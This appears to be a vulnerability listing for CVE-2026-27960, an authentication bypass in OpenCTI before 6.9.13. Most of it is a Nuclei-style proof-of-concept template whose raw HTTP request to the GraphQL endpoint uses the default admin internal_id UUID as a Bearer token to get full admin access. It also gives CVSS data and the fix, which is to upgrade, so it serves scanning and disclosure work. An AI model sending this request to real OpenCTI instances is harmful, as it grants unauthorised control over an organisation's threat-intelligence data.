CVE-2026-27960: OpenCTI < 6.9.13 - Authentication Bypass via User Impersonation
2026-09-17UnknownPoC Public
Description
OpenCTI < 6.9.13 allows authentication bypass by supplying a Bearer token set to the admin user's internal_id UUID instead of a valid JWT. The default admin internal_id (88ec0c6a-13ce-5e39-b486-354fe4a7084f) grants full admin access to the GraphQL API, effectively bypassing all authentication.
PoC
id: CVE-2026-27960
info:
name: OpenCTI < 6.9.13 - Authentication Bypass via User Impersonation
author: DhiyaneshDk
severity: critical
description: |
OpenCTI < 6.9.13 allows authentication bypass by supplying a Bearer token set to the admin user's internal_id UUID instead of a valid JWT. The default admin internal_id (88ec0c6a-13ce-5e39-b486-354fe4a7084f) grants full admin access to the GraphQL API, effectively bypassing all authentication.
impact: |
An unauthenticated attacker can gain full admin access to the OpenCTI GraphQL API, including reading and modifying all threat intelligence data.
remediation: |
Upgrade OpenCTI to version 6.9.13 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-27960
- https://www.pruva.dev/reproductions/REPRO-2026-00314
- https://www.pruva.dev/reproductions/REPRO-2026-00331
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-27960
epss-score: 0.01995
epss-percentile: 0.7968
cwe-id: CWE-287
metadata:
verified: true
max-request: 1
vendor: opencti
product: opencti
tags: cve,cve2026,opencti,auth-bypass,unauth
http:
- raw:
- |
POST /graphql HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer 88ec0c6a-13ce-5e39-b486-354fe4a7084f
{"query":"{ me { user_email name } }"}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "user_email", "\"me\"")'
- 'status_code == 200'
condition: and
extractors:
- type: json
part: body
json:
- '.data.me.user_email'
# digest: 490a0046304402206c5ba1fb55388ec3caf40d0b677736bae4e497ad9cc394a6acae5770df2aacfd02206b9597fdeaf1a743c7894b27835f31b96ada5caf892ea99fa3aba92615098475:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.